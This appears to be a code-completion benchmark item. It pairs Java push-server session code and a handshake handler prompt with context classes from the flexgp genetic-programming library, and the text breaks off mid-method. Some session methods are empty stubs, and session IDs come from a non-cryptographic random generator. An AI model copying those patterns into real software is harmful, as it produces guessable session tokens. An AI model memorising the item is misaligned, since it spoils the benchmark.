{\n\n private final Map<String, Object> sessionData = new HashMap<>();\n private String osName;\n private String osVersion;\n private String clientVersion;\n private String deviceId;\n private String userId;\n private String sessionId;\n private long expireTime;\n private int status;\n private long startDate = System.currentTimeMillis();\n private long lastActiveDate;\n\n @Override\n public String getId() {\n return sessionId;\n }\n\n @Override\n public int getStatus() {\n return 0;\n }\n\n @Override\n public Date getCreationDate() {\n return null;\n }\n\n @Override\n public Date getLastActiveDate() {\n return null;\n }\n\n @Override\n public long getNumClientPackets() {\n return 0;\n }\n\n @Override\n public long getNumServerPackets() {\n return 0;\n }\n\n @Override\n public void close() {\n\n }\n\n @Override\n public boolean isClosed() {\n return false;\n }\n\n @Override\n public boolean isSecure() {\n return false;\n }\n\n @Override\n public Certificate[] getPeerCertificates() {\n return new Certificate[0];\n }\n\n @Override\n public String getHostAddress() throws UnknownHostException {\n return null;\n }\n\n @Override\n public String getHostName() throws UnknownHostException {\n return null;\n }\n\n @Override\n public boolean validate() {\n return false;\n }\n\n public void setSessionId(String sessionId) {\n this.sessionId = sessionId;\n }\n\n public String getDeviceId() {\n return deviceId;\n }\n\n public void setDeviceId(String deviceId) {\n this.deviceId = deviceId;\n }\n\n public String getOsVersion() {\n return osVersion;\n }\n\n public void setOsVersion(String osVersion) {\n this.osVersion = osVersion;\n }\n\n public String getClientVersion() {\n return clientVersion;\n }\n\n public void setClientVersion(String clientVersion) {\n this.clientVersion = clientVersion;\n }\n\n public String getOsName() {\n return osName;\n }\n\n public void setOsName(String osName) {\n this.osName = osName;\n }\n}", "@Component\npublic class SessionManager {\n\n private static final Logger logger = LoggerFactory.getLogger(SessionManager.class);\n\n @Autowired\n private RedisTemplate<String, String> redisTemplate;\n\n private final String cacheKey = \"__SESSIONS__\";\n\n public void on(Session session) {\n logger.info(\"new session : {}\", session.getId());\n getCache().put(session.getId(), JSON.toJSONString(session));\n }\n\n public void off(Session session) {\n getCache().delete(session.getId());\n }\n\n public Session get(String sessionId) {\n return JSON.parseObject(getCache().get(sessionId), PushSession.class);\n }\n\n public BoundHashOperations<String, String, String> getCache() {\n return redisTemplate.boundHashOps(cacheKey);\n }\n}", "public class SessionUtil {\n\n private static final int SESSION_ID_BYTES = 16;\n\n public static enum SessionIdType {SHORT, LANG}\n\n public static String get() {\n return RandomStringUtils.randomAlphanumeric(16);\n }\n\n}" ]
import cn.ctodb.push.core.Connection; import cn.ctodb.push.dto.Command; import cn.ctodb.push.dto.HandshakeReq; import cn.ctodb.push.dto.HandshakeResp; import cn.ctodb.push.dto.Packet; import cn.ctodb.push.handler.AbstractHandler; import cn.ctodb.push.server.session.PushSession; import cn.ctodb.push.server.session.SessionManager; import cn.ctodb.push.server.util.SessionUtil; import org.msgpack.MessagePack; import org.springframework.beans.factory.annotation.Autowired; import java.io.IOException;
package cn.ctodb.push.server.handler; /** * All rights Reserved, Designed By www.ctodb.cn * * @version V1.0 * @author: lichaohn@163.com * @Copyright: 2018 www.ctodb.cn Inc. All rights reserved. */ public class HandshakeHandler extends AbstractHandler<HandshakeReq> { @Autowired private SessionManager sessionManager; @Autowired private MessagePack messagePack; @Override public Command cmd() { return Command.HANDSHAKE_REQ; } @Override public Class<HandshakeReq> getType() { return HandshakeReq.class; } @Override
public void handle(HandshakeReq message, Connection connection) {
0
flexgp/flexgp
mrgp-flexgp/src/evogpj/operator/SubtreeMutate.java
[ "public class Tree extends Genotype {\n private static final long serialVersionUID = -3871767863867101731L;\n\n // A TreeNode with the root of the Tree as its only child (effectively a\n // pointer to the root of the tree). This level of indirection allows the\n // entire tree to change (meaning we can swap root nodes) without creating a\n // new Tree instance.\n private TreeNode holder;\n private Integer subtreeComplexity;\n // the coefficients for scaling the models via linear regression\n private Double[] scalingCoeffs;\n\n /**\n * Constructor given a node\n * @param aHolder \n */\n public Tree(TreeNode aHolder) {\n this.holder = aHolder;\n this.subtreeComplexity = null;\n this.scalingCoeffs = new Double[2];\n }\n\n @Override\n public Genotype copy() {\n // hehe, the old serialise-deserialise trick\n Tree cp = TreeGenerator.generateTree(this.toPrefixString());\n cp.subtreeComplexity = this.subtreeComplexity;\n return cp;\n }\n\n /**\n * Get root of the tree\n * @return root of the tree\n */\n public TreeNode getRoot() {\n return holder.children.get(0);\n }\n\n /**\n * Default: return unscaled MATLAB infix string\n * @return \n */\n @Override\n public String toString() {\n //return toInfixString();\n return toPrefixString();\n }\n\n /**\n * Return prefix representation of the tree\n * @return \n */\n public String toPrefixString() {\n return getRoot().toStringAsTree();\n }\n \n /**\n * Return final prefix representation of the tree\n * @return \n */\n public String toFinalPrefixString() {\n return getRoot().toFinalStringAsTree();\n }\n\n /**\n * Return linearly scaled representation of the tree: a(f(X)) + b\n * @return \n */\n public String toScaledString() {\n double slope = this.getScalingSlope();\n double intercept = this.getScalingIntercept();\n return String.format(\"(%.16f .* %s) + %.16f\", slope, this.toPrefixString(), intercept);\n }\n \n /**\n * transform to linearly scaled representation of the tree: a(f(X)) + b\n * @return \n */ \n public String toFinalScaledString() {\n double slope = this.getScalingSlope();\n double intercept = this.getScalingIntercept();\n return String.format(\"(%.16f .* %s) + %.16f\", slope, this.toFinalPrefixString(), intercept);\n }\n \n /**\n * Evaluate boolean expression\n * @param t\n * @return boolean result of the evaluation of t\n */ \n public boolean evalBoolean(List<Boolean> t) {\n return getRoot().evalBoolean(t);\n }\n\n @Override\n public Boolean equals(Genotype other) {\n if (!(other.getClass() == this.getClass()))\n return false;\n Tree otherTree = (Tree) other;\n boolean equal = this.equals(otherTree);\n return equal;\n }\n\n /**\n * String comparison as equals\n * @param otherTree\n * @return\n */\n public Boolean equals(Tree otherTree) {\n String thisString = this.toPrefixString();\n String otherString = otherTree.toPrefixString();\n boolean equal = thisString.equals(otherString);\n return equal;\n }\n\n /**\n * Compute the size (number of nodes) of the Tree.\n * \n * @return integer size\n */\n public int getSize() {\n return getRoot().getSubtreeSize();\n }\n\n /**\n * Compute the depth of the Tree. The depth is the longest simple path from\n * the root to a terminal node.\n * \n * @return integer depth\n */\n public int getDepth() {\n return getRoot().getSubtreeDepth();\n }\n\n /**\n * @return the \"a\" coefficient in y = ax + b\n */\n public Double getScalingSlope() {\n return scalingCoeffs[0];\n }\n\n /**\n * Set the scaling slope (the \"b\" in y = ax + b) of this individual\n * @param slope\n */\n public void setScalingSlope(Double slope) {\n scalingCoeffs[0] = slope;\n }\n\n /**\n * @return the \"b\" coefficient in y = ax + b\n */\n public Double getScalingIntercept() {\n return scalingCoeffs[1];\n }\n\n /**\n * Set the scaling intercept (the \"b\" in y = ax + b) of this individual \n * @param intercept\n */\n public void setScalingIntercept(Double intercept) {\n scalingCoeffs[1] = intercept;\n }\n\n /**\n * Create a new {@link Function} object to represent this tree in\n * preparation for computing the fitness.\n * \n * @return\n * @see Function\n */\n public Function generate() {\n try {\n TreeNode r = getRoot();\n Function f = r.generate();\n return f;\n } catch (GPException e) {\n System.err.println(\"GP Exception in generate()\");\n }\n return null;\n }\n \n /**\n *\n * A memorized method which computes the complexity of an individual\n * by summing the sizes of all subtrees. Referenced in \"Model-based\n * Problem Solving through Symbolic Regression via Pareto Genetic\n * Programming\", Vladislavleva 2008\n * @return complexity\n */\n // TODO add back in smart memoization which handles recalculation\n // upon crossover\n public int getSubtreeComplexity() {\n subtreeComplexity = this.getRoot().getSubtreeComplexity();\n return subtreeComplexity;\n }\n}", "public class TreeGenerator {\n\n private MersenneTwisterFast rng;\n private final List<String> terminals;\n private final List<String> functions;\n\n /**\n * Create the factory, setting the terminal and function sets to use. If no\n * function sets are provided, the defaults are used from\n * {@link algorithm.Parameters.Defaults}.\n * \n * @param r An instance of {@link MersenneTwisterFast} to use when selecting\n * labels for nodes in trees.\n * @param funcset The set of functions to select internal node labels from.\n * @param termset The set of terminals to select terminal node labels from.\n */\n public TreeGenerator(MersenneTwisterFast r, List<String> funcset,List<String> termset) {\n this.rng = r;\n if (funcset == null) {\n System.out.println(\"No function set provided - using defaults!\");\n functions = Parameters.Defaults.FUNCTIONS;\n } else {\n functions = funcset;\n }\n if (termset == null) {\n System.out.println(\"No terminal set provided - using defaults!\");\n terminals = Parameters.Defaults.TERMINALS;\n } else {\n terminals = termset;\n }\n }\n\n /**\n * Generate an expression tree coding for the sum of the variables of the problem\n * @param termset\n * @return tree coding the sum of all the variables of the problem\n */\n public Tree generateLinearModel(List<String> termset) {\n ArrayList<String> featureList = new ArrayList<String>();\n featureList.addAll(termset);\n TreeNode holder = new TreeNode(null, \"holder\");\n TreeNode root = new TreeNode(holder, \"null\");\n generateLinearModel(root, featureList);\n holder.addChild(root);\n Tree t = new Tree(holder);\n return t;\n }\n \n /**\n * Generate a linear model only with the variables in the list\n * @param node\n * @param featureList \n */\n public void generateLinearModel(TreeNode node,List<String> featureList) {\n // See node as a placeholder: we overwrite its label,\n // children, but we don't change its parent or id.\n node.children.clear();\n if (featureList.size() == 1) {\n // can't go deeper, make it a terminal\n node.label = featureList.get(0);\n } else {\n node.label = \"+\";\n TreeNode leftNode = new TreeNode(node, \"null\");\n int indexFeature = rng.nextInt(featureList.size());\n leftNode.label = featureList.get(indexFeature);\n featureList.remove(indexFeature);\n node.addChild(leftNode);\n \n TreeNode rightNode = new TreeNode(node, \"null\");\n generateLinearModel(rightNode, featureList);\n node.addChild(rightNode);\n }\n node.resetAbove();\n }\n \n /**\n * Generate a tree by either the grow or the fill method (as described by\n * Koza). If using the fill method, the new tree will be a full depth with\n * every terminal at maxDepth. If using the grow method, then the tree is\n * \"grown\" by randomly choosing either a terminal or function for each node,\n * and recursing for each function (non-terminal) selected. This continues\n * until all terminals are selected or maxDepth is reached.\n * \n * @param maxDepth the maximum depth the new tree can reach.\n * @param full Boolean value indicating to use fill or grow method. If true,\n * the fill method will be used. If false, the grow method.\n * @return the newly generated instance of the tree.\n */\n public Tree generateTree(int maxDepth, boolean full) {\n TreeNode holder = new TreeNode(null, \"holder\");\n TreeNode root = new TreeNode(holder, \"null\");\n generate(root, maxDepth, full);\n holder.addChild(root);\n Tree t = new Tree(holder);\n return t;\n }\n\n /**\n * Constructor a tree from a string. The string is assumed to be a LISP-like\n * S-expression, using prefix notation for operators.\n * \n * @param input The S-expression string.\n * @return new tree representing the inpu.\n */\n public static Tree generateTree(String input) {\n // Make sure the string is tokenizable\n // FIXME allow other delimiters?\n input = input.replace(\"(\", \" ( \");\n input = input.replace(\"[\", \" [ \");\n input = input.replace(\")\", \" ) \");\n input = input.replace(\"]\", \" ] \");\n\n StringTokenizer st = new StringTokenizer(input);\n TreeNode holder = new TreeNode(null, \"holder\");\n parseString(holder, st);\n return new Tree(holder);\n }\n \n /**\n * Constructor a tree from a string. The string is assumed to be a LISP-like\n * S-expression, using prefix notation for operators.\n * \n * @param input The S-expression string.\n * @return new tree representing the inpu.\n */\n public static Tree generateTreeConstants(String input) {\n // Make sure the string is tokenizable\n // FIXME allow other delimiters?\n input = input.replace(\"(\", \" ( \");\n input = input.replace(\"[\", \" [ \");\n input = input.replace(\")\", \" ) \");\n input = input.replace(\"]\", \" ] \");\n\n StringTokenizer st = new StringTokenizer(input);\n TreeNode holder = new TreeNode(null, \"holder\");\n parseString(holder, st);\n return new Tree(holder);\n }\n\n /**\n * Given a node in a tree, generate an entire new subtree below, using\n * either the fill or grow method (see {@link #generateTree(int, boolean)}).\n * Note that the given node will have it's label overwritten and all it's\n * current children cleared.\n * \n * @param node TreeNode to use as the root of the new subtree.\n * @param depth The allowed depth of the generated subtree.\n * @param full Whether to use the fill or grow method for generating the\n * subtree.\n */\n public void generate(TreeNode node, int depth, boolean full) {\n // See node as a placeholder: we overwrite its label,\n // children, but we don't change its parent or id.\n node.children.clear();\n if (depth <= 0) {\n // can't go deeper, make it a terminal\n node.label = terminals.get(rng.nextInt(terminals.size()));\n } else {\n int label_idx;\n if (full) {\n // want full tree, so make it a function\n label_idx = rng.nextInt(functions.size());\n } else {\n // growing tree, randomly choose function or terminal\n label_idx = rng.nextInt(functions.size() + terminals.size());\n }\n if (label_idx < functions.size()) {\n node.label = functions.get(label_idx);\n // create and recurse on each argument (child) of function\n for (int i = 0; i < arity(node.label); i++) {\n TreeNode newNode = new TreeNode(node, \"null\");\n node.addChild(newNode);\n generate(newNode, depth - 1, full);\n }\n } else {\n node.label = terminals.get(label_idx - functions.size());\n }\n }\n node.resetAbove();\n }\n \n /**\n * Given a node in a tree, generate an entire new subtree below, using\n * either the fill or grow method (see {@link #generateTree(int, boolean)}).\n * Note that the given node will have it's label overwritten and all it's\n * current children cleared.\n * \n * @param node TreeNode to use as the root of the new subtree.\n * @param depth The allowed depth of the generated subtree.\n * @param full Whether to use the fill or grow method for generating the\n * subtree.\n * @throws evogpj.gp.GPException\n */\n public void generateForMutationWithConstants(TreeNode node, int depth, boolean full) throws GPException {\n // See node as a placeholder: we overwrite its label,\n // children, but we don't change its parent or id.\n \n if (node.children.isEmpty()) {\n node.children.clear();\n if(rng.nextBoolean()){// swap variable\n node.label = terminals.get(rng.nextInt(terminals.size()));\n node.resetCoeff();\n }else{ // change constant\n if(rng.nextBoolean()){// increase coefficient a 10%\n node.increaseCoeff();\n }else{// decrease coefficient a 10%\n node.decreaseCoeff();\n }\n \n }\n } else {\n generate(node, depth, full);\n }\n node.resetAbove();\n }\n\n\t/**\n\t * Compute the arity of the function represented by the string.\n\t * \n\t * @param label string encoding a function (ie \"sin\" or \"*\")\n\t * @return the arity of the function (number of arguments the function\n\t * takes)\n\t * @see math.Function#getArityFromLabel(String)\n\t */\n\tpublic static int arity(String label) {\n\t\t// Boolean problems functions:\n\t\tif (label.equals(\"if\")) {\n\t\t\treturn 3;\n\t\t} else if (label.equals(\"and\")) {\n\t\t\treturn 2;\n\t\t} else if (label.equals(\"or\")) {\n\t\t\treturn 2;\n\t\t} else if (label.equals(\"nand\")) {\n\t\t\treturn 2;\n\t\t} else if (label.equals(\"nor\")) {\n\t\t\treturn 2;\n\t\t} else if (label.equals(\"not\")) {\n\t\t\treturn 1;\n\t\t}\n\t\t// Symbolic Regression functions\n\t\treturn Function.getArityFromLabel(label);\n\t}\n\n private static void parseString(TreeNode parent, StringTokenizer st) {\n\n while (st.hasMoreTokens()) {\n String currTok = st.nextToken().trim();\n\n if (currTok.equals(\"\")) { \n } else if (currTok.equals(\"(\") || currTok.equals(\"[\")) {\n // The next token is the parent of a new subtree\n currTok = st.nextToken().trim();\n TreeNode newNode = new TreeNode(parent, currTok);\n parent.addChild(newNode);\n parseString(newNode, st);\n } else if (currTok.equals(\")\") || currTok.equals(\"]\")) {\n // Finish this subtree\n return;\n } else {\n // An ordinary child node: add it to parent and continue.\n TreeNode newNode = new TreeNode(parent, currTok);\n parent.addChild(newNode);\n }\n }\n }\n\n}", "public class TreeNode implements Serializable {\n\tprivate static final long serialVersionUID = 475770788051966882L;\n\n\t/**\n\t * immediate ancestor. null if root node\n\t */\n\tpublic TreeNode parent;\n\t/**\n\t * function or terminal variable\n\t */\n\tpublic String label;\n double coeff;\n\t/**\n\t * list of child nodes. Empty if this is a terminal node.\n\t */\n\tpublic ArrayList<TreeNode> children;\n\t/**\n\t * The depth of this node in it's current tree\n\t */\n\tprivate int depth;\n\t/**\n\t * The size (number of nodes) of the subtree rooted at this node (including\n\t * this node).\n\t */\n\tprivate int subtreeSize;\n\t/**\n\t * The depth of the subtree rooted at this node.\n\t */\n\tprivate int subtreeDepth;\n\n \n /**\n * Construct a node of the tree\n * @param _parent\n * @param _label \n */\n public TreeNode(TreeNode _parent, String _label) {\n parent = _parent;\n if(_label.contains(\"_\")){\n String[] tokens = _label.split(\"_\");\n String coeffS = tokens[0];\n coeff = Double.parseDouble(coeffS);\n label = tokens[1];\n }else{\n coeff = 1;\n label = _label;\n }\n children = new ArrayList<TreeNode>();\n subtreeSize = -1;\n subtreeDepth = -1;\n depth = -1;\n }\n\n\t/**\n\t * Add a new child node for this node. Note that the new child is accepted\n\t * without question. If duplicates are bad, it is up to the caller to\n\t * ensure.\n\t * \n\t * @param child the node to add as a new child.\n\t */\n\tpublic void addChild(TreeNode child) {\n\t\tchildren.add(child);\n\t}\n\n /**\n * return label of the node\n * @return\n */\n @Override\n public String toString() {\n return label;\n }\n \n /**\n * return final string representation of the node\n * @return \n */\n\tpublic String toFinalString() {\n if (label.startsWith(\"X\") || label.equals(\"x\") || label.equals(\"y\")) {\n String aux=\"\";\n try {\n //String aux = this.toStringAsFunction();\n aux = this.generate().getFinalString();\n } catch (GPException ex) {\n System.err.println(\"GP exception in toFinalSring in TreeNode class\");\n }\n return aux;\n } \n return label;\n\t}\n\n\t\n /**\n * Generate string represent subtree rooted at this node\n * \n * @return tree string\n */\n public String toStringAsTree() {\n if (children.size() > 0) {\n String retval = \"(\" + this.toString();\n for (TreeNode child : children) {\n retval += \" \" + child.toStringAsTree();\n }\n retval += \")\";\n return retval;\n } else {\n return this.toString();\n }\n }\n \n /**\n * Generate string represent subtree rooted at this node\n * \n * @return tree string\n */\n public String toFinalStringAsTree() {\n if (children.size() > 0) {\n String retval = \"(\" + this.toString();\n for (TreeNode child : children) {\n retval += \" \" + child.toFinalStringAsTree();\n }\n retval += \")\";\n return retval;\n } else {\n return this.toFinalString();\n }\n }\n\n\t/**\n\t * Generate (prefix) c-expression\n\t * \n\t * @return tree string\n\t */\n\tpublic String toStringAsPrefix() {\n try {\n Class<? extends Function> c = Function.getClassFromLabel(label);\n Method method = c.getMethod(\"getPrefixFormatString\", new Class<?>[] {});\n String prefixFormatString = (String) method.invoke(null);\n if (children.isEmpty()) { // this is a terminal (const or var)\n String aux = String.format(prefixFormatString, label);\n return aux;\n }\n String[] childStrings = new String[children.size()];\n for (int i = 0; i < children.size(); i++) {\n childStrings[i] = children.get(i).toStringAsPrefix();\n }\n String retval = String.format(prefixFormatString, ((Object[]) childStrings));\n return retval;\n } catch (SecurityException e) {\n System.err.println(\"SecurityExceptionn in toStringAsPrefix in TreeNode class\");\n } catch (NoSuchMethodException e) {\n System.err.println(\"NoSuchMethodException in toStringAsPrefix in TreeNode class\");\n } catch (IllegalArgumentException e) {\n System.err.println(\"IllegalArgumentException in toStringAsPrefix in TreeNode class\");\n } catch (IllegalAccessException e) {\n System.err.println(\"IllegalAccessException in toStringAsPrefix in TreeNode class\");\n } catch (InvocationTargetException e) {\n System.err.println(\"InvocationTargetException in toStringAsPrefix in TreeNode class\");\n }\n return null;\n\t}\n \n\t/**\n\t * Generate S-expression based on the subtree rooted at this node\n\t * \n\t * @return string S-expression\n\t */\n\tpublic String toStringAsFunction() {\n\t\tif (children.size() > 0) {\n\t\t\tString retval;\n\t\t\tif (children.size() == 1)\n\t\t\t\tretval = this + \"(\" + children.get(0).toStringAsFunction()\n\t\t\t\t\t\t+ \")\";\n\t\t\telse\n\t\t\t\tretval = \"(\" + children.get(0).toStringAsFunction() + \" \"\n\t\t\t\t\t\t+ this + \" \" + children.get(1).toStringAsFunction()\n\t\t\t\t\t\t+ \")\";\n\t\t\treturn retval;\n\t\t} else {\n\t\t\treturn this.toString();\n\t\t}\n\t}\n \n\n\t/**\n\t * Do a depth-first preorder traversal of the tree starting at a given node.\n\t * \n\t * @return a list of Nodes in depth-first preorder.\n\t */\n\tpublic ArrayList<TreeNode> depthFirstTraversal() {\n\t\tArrayList<TreeNode> retval = new ArrayList<TreeNode>();\n\t\tretval.add(this);\n\t\tfor (TreeNode child : children) {\n\t\t\tretval.addAll(child.depthFirstTraversal());\n\t\t}\n\t\treturn retval;\n\t}\n\n\t/**\n\t * Do a depth-first inorder traversal of the tree starting at a given node.\n\t * \n\t * @return a list of Nodes in depth-first inorder.\n\t */\n\tpublic ArrayList<TreeNode> depthFirstTraversalInOrder() {\n\t\tArrayList<TreeNode> retval = new ArrayList<TreeNode>();\n\t\tint nChildren = children.size();\n\t\tint i = 0;\n\t\tfor (; i < nChildren / 2; i++) {\n\t\t\tretval.addAll(children.get(i).depthFirstTraversalInOrder());\n\t\t}\n\t\tretval.add(this);\n\t\tfor (; i < nChildren; i++) {\n\t\t\tretval.addAll(children.get(i).depthFirstTraversalInOrder());\n\t\t}\n\t\treturn retval;\n\t}\n\n\t/**\n\t * Compute the depth of this node from the root node. This is just the\n\t * length of the simple path from this node to the root. This value is\n\t * cached, so be sure to reset it if something regarding the ancestors\n\t * changes.\n\t * \n\t * @return\n\t */\n\tpublic int getDepth() {\n\t\tif (depth == -1) {\n\t\t\t// Travel back to root to calculate depth\n\t\t\tint _depth = 0;\n\t\t\tTreeNode n = this;\n\t\t\twhile (!n.parent.label.equals(\"holder\")) {\n\t\t\t\tn = n.parent;\n\t\t\t\t_depth++;\n\t\t\t}\n\t\t\tdepth = _depth;\n\t\t}\n\n\t\treturn depth;\n\t}\n\n\t/**\n\t * Compute the size of the subtree rooted at this node. The size of a\n\t * (sub)tree is just the count of the nodes in the tree.\n\t * \n\t * @return number of nodes in subtree\n\t */\n\tpublic int getSubtreeSize() {\n\t\tif (subtreeSize == -1) {\n\t\t\tsubtreeSize = 1;\n\t\t\tfor (TreeNode child : children) {\n\t\t\t\tsubtreeSize += child.getSubtreeSize();\n\t\t\t}\n\t\t}\n\t\treturn subtreeSize;\n\t}\n\n\t/**\n\t * A function which computes the complexity of an individual by summing\n\t * the sizes of all subtrees. Example: the complexity of exp(X) + Y is\n\t * 4. Referenced in \"Model-based Problem Solving through Symbolic\n\t * Regression via Pareto Genetic Programming\", Vladislavleva 2008\n\t *\n\t * @return one plus the sum of the size of all subtrees\n\t */\n\tpublic int getSubtreeComplexity() {\n\t\tint subtreeComplexity = 1; // leaves return 1\n\t\tfor (TreeNode child : children) {\n\t\t\tsubtreeComplexity += child.getSubtreeComplexity();\n\t\t\tsubtreeComplexity += child.getSubtreeSize();\n\t\t}\n\t\treturn subtreeComplexity;\n\t}\n\n\t/**\n\t * Compute the depth of the subtree rooted at this node. This subtree is\n\t * depth 0 if there are no children. This value is cached, so be sure it\n\t * clear it if the subtree changes.\n\t *\n\t * @return the depth of subtree. The depth is the longest simple path to the\n\t * terminals of the subtree.\n\t */\n\tpublic int getSubtreeDepth() {\n if (subtreeDepth == -1) {\n subtreeDepth = 0;\n for (TreeNode child : children) {\n if (child.getSubtreeDepth() > subtreeDepth)\n subtreeDepth = child.getSubtreeDepth();\n }\n }\n return subtreeDepth;\n\t}\n\n\t/**\n\t * Prepare to be evaluated. Generate a {@link Function} for subtree rooted\n\t * at this node.\n\t * \n\t * @return representation of subtree\n\t * @throws GPException \n\t * @see Function\n\t */\n\tpublic Function generate() throws GPException {\n\t\tint arity = Function.getArityFromLabel(label);\n\t\tConstructor<? extends Function> f;\n\t\ttry {\n f = Function.getConstructorFromLabel(label);\n if (arity == 0) {\n //return f.newInstance(label,coeff);\n return new Var(label,coeff);\n }\n Function c1 = children.get(0).generate();\n if (arity == 1) {\n return f.newInstance(c1);\n } else if (arity == 2) {\n return f.newInstance(c1, children.get(1).generate());\n }\n\t\t} catch (SecurityException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t} catch (NoSuchMethodException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t} catch (IllegalArgumentException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t} catch (InstantiationException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t} catch (IllegalAccessException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t} catch (InvocationTargetException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t}\n\t\tthrow new GPException(\"can't create function for node \" + this.label);\n\t}\n\n\t/**\n\t * Evaluate a tree of type boolean.\n\t * \n\t * @param t\n\t * @return\n\t */\n\tpublic boolean evalBoolean(List<Boolean> t) {\n\t\tif (label.equals(\"and\")) {\n\t\t\treturn (children.get(0).evalBoolean(t))\n\t\t\t\t\t&& (children.get(1).evalBoolean(t));\n\t\t} else if (label.equals(\"or\")) {\n\t\t\treturn children.get(0).evalBoolean(t)\n\t\t\t\t\t|| children.get(1).evalBoolean(t);\n\t\t} else if (label.equals(\"nand\")) {\n\t\t\treturn !(children.get(0).evalBoolean(t) && children.get(1)\n\t\t\t\t\t.evalBoolean(t));\n\t\t} else if (label.equals(\"nor\")) {\n\t\t\treturn !(children.get(0).evalBoolean(t) || children.get(1)\n\t\t\t\t\t.evalBoolean(t));\n\t\t} else if (label.equals(\"if\")) {\n\t\t\tif (children.get(0).evalBoolean(t)) {\n\t\t\t\treturn (children.get(1).evalBoolean(t));\n\t\t\t} else {\n\t\t\t\treturn (children.get(2).evalBoolean(t));\n\t\t\t}\n\t\t} else if (label.equals(\"not\")) {\n\t\t\treturn !(children.get(0).evalBoolean(t));\n\t\t} else if (label.equals(\"x\")) {\n\t\t\treturn t.get(0);\n\t\t} else if (label.equals(\"y\")) {\n\t\t\treturn t.get(1);\n\t\t} else if (label.startsWith(\"X\") || label.startsWith(\"x\")) {\n\t\t\tString numPart = label.substring(1);\n\t\t\tint idx = Integer.parseInt(numPart) - 1; // zero-index\n\t\t\treturn t.get(idx);\n\t\t}\n\t\t// FIXME how to signal this error?\n\t\treturn false;\n\t}\n\n\t/**\n\t * Reset all cached values for the tree containing this node. Resetting one\n\t * TreeNode is sufficient to reset all cached values in the entire Tree.\n\t */\n\tpublic void reset() {\n\t\tresetAbove();\n\t\tresetBelow();\n\t}\n\n\t/**\n\t * Something changed about the size/depth of the subtree at this node, so\n\t * reset the cached values of this node and its parents.\n\t */\n\tpublic void resetAbove() {\n\t\tsubtreeDepth = -1;\n\t\tsubtreeSize = -1;\n\t\tif (!parent.label.equals(\"holder\")) {\n\t\t\tparent.resetAbove();\n\t\t}\n\t}\n\n\t/**\n\t * Something changed with this node and it's parents, so reset the cached\n\t * values relating to this node and below.\n\t */\n\tpublic void resetBelow() {\n\t\tdepth = -1;\n\t\tfor (TreeNode child : children) {\n\t\t\tchild.resetBelow();\n\t\t}\n\t}\n \n /**\n * increase coefficient of the node.\n */\n public void increaseCoeff(){\n coeff = coeff * 1.1; \n }\n \n /**\n * decrease coefficient of the node.\n */\n public void decreaseCoeff(){\n coeff = coeff * 0.9; \n }\n \n /**\n * decrease coefficient of the node.\n */\n public void resetCoeff(){\n coeff = 1; \n }\n\n}", "public class GPException extends Exception {\n \n /**\n * Constructor for GP exceptions\n * @param string \n */\n\tpublic GPException(String string) {\n super(string);\n\t}\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 2346788405132405602L;\n\n}", "public class Individual implements Serializable {\n private static final long serialVersionUID = -1448696047207647168L;\n private final Genotype genotype;\n // store fitness values as key:value pairs to support multiple objectives\n private LinkedHashMap<String, Double> fitnesses;\n // distance from the origin\n private Double euclideanDistance;\n // the \"hypervolume\" of a particular individual\n private Double crowdingDistance;\n private Integer dominationCount;\n private double threshold;\n private double crossValAreaROC;\t\n private double crossValFitness;\n private double scaledMAE;\n private double scaledMSE;\n private double RT_Cost;\n private double minTrainOutput, maxTrainOutput;\n private ArrayList<Double> estimatedDensPos, estimatedDensNeg;\n ArrayList<String> weights;\n String lassoIntercept;\n /**\n * Create an individual with the given genotype. The new individuals\n * phenotype and fitness are left unspecified.\n * \n * @param genotype an Instance of a {@link Genotype}\n */\n public Individual(Genotype genotype) {\n this.genotype = genotype;\n this.fitnesses = new LinkedHashMap<String, Double>();\n this.euclideanDistance = Double.MAX_VALUE;\n this.crowdingDistance = 0.0;\n this.dominationCount = 0;\n threshold = 0;\n crossValAreaROC = 0; \n RT_Cost = 0;\n }\n\n @SuppressWarnings(\"unchecked\")\n private Individual(Individual i) {\n this.crowdingDistance = i.crowdingDistance;\n this.dominationCount = i.dominationCount;\n this.genotype = i.genotype.copy();\n this.fitnesses = (LinkedHashMap<String, Double>) i.fitnesses.clone();\n this.euclideanDistance = i.euclideanDistance;\n this.threshold = i.threshold;\n this .crossValAreaROC = i.crossValAreaROC; \n RT_Cost = 0;\n this.weights = i.weights;\n }\n\n /**\n * deep copy of an individual. THe new individual will be identical to the\n * old in every way, but will be completely independent. So any changes made\n * to the old do not affect the new, and vice versa.\n * \n * @return new individual\n */\n public Individual copy() {\n return new Individual(this);\n }\n \n /**\n * Return Genotype\n * @return \n */\n public Genotype getGenotype() {\n return this.genotype;\n }\n\n /**\n * return fitness names\n * @return \n */\n public Set<String> getFitnessNames() {\n return this.fitnesses.keySet();\n }\n\t\n /**\n * Return the LinkedHashMap storing fitness values\n * @return\n */\n public LinkedHashMap<String, Double> getFitnesses() {\n return this.fitnesses;\n }\n\n /**\n * return fitness function name\n * @param key\n * @return \n */\n public Double getFitness(String key) {\n return this.fitnesses.get(key);\n }\n\n /**\n * Overload getFitness to support returning simply the first fitness value if prompted\n * @return\n */\n public Double getFitness() {\n String first = getFirstFitnessKey();\n return getFitness(first);\n }\n\n /**\n * @return the first fitness key from this individual's stored fitness values\n */\n public String getFirstFitnessKey() {\n Set<String> keys = getFitnesses().keySet();\n return keys.iterator().next();\n }\n\n /**\n * Set fitness functions\n * @param d \n */\n public void setFitnesses(LinkedHashMap<String, Double> d) {\n this.fitnesses = d;\n }\n\n /**\n * Update a particular fitness value\n * @param key\n * @param d the new fitness \n */\n public void setFitness(String key, Double d) {\n fitnesses.put(key, d);\n }\n\n /**\n * Obtain the memorized euclidean distance of fitness\n * @return\n */\n public Double getEuclideanDistance() {\n return euclideanDistance;\n }\n\n /**\n * Calculate the euclidean distance of the fitnesses of this individual from\n * the origin.\n * @param fitnessFunctions\n * @param standardizedMins\n * @param standardizedRanges\n */\n public void calculateEuclideanDistance(LinkedHashMap<String, FitnessFunction> fitnessFunctions,LinkedHashMap<String, Double> standardizedMins,\n LinkedHashMap<String, Double> standardizedRanges) {\n // reset euclidean distance to 0\n euclideanDistance = 0.0;\n for (String fitnessKey : fitnesses.keySet()) {\n // get fitness converted to minimization if necessary\n Double standardizedFitness = 